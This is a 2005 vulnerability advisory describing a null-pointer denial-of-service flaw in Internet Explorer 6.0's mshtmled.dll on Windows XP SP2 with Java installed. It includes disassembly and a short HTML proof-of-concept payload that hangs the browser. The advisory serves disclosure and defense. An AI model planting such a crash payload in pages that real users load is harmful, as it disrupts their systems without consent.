A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed. Successful exploitation causes the browser to not respond. The flaw resides in mshtmled.dll.
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Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service
Release Date:
October 24, 2005
Date Reported:
August 14, 2005
Severity:
Medium
Vendor:
Microsoft
Versions Affected:
Internet Explorer 6.0 on Windows XP SP2
Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP
SP2 with the J2SE Runtime Environment installed allows for an attacker to
cause the browser to stop responding.
Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and
prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a
snippet from mshtmled.dll which is causing the problem. From what is looks
like, this is just a null pointer issue.
.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56j
.text:76235680 ; sub_762355EC+62j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]
The following code below will reproduce this issue. Please note that you must
have J2SE Runtime Environment installed which is located here:
http://www.java.com/en/download/windows_automatic.jsp
<FRAMESET >
<FRAME SRC=AAAA >
<EMBED NAME=SP STYLE= >
<APPLET HSPACE=file:\\ >
Vendor Status:
Ask Microsoft
Discovered by:
Tom Ferris
Related Links:
www.security-protocols.com/poc/sp-x20.html
www.security-protocols.com/advisory/sp-x20-advisory.txt
www.security-protocols.com/modules.php?name=News&file=article&sid=3027
www.evolvesecurity.com
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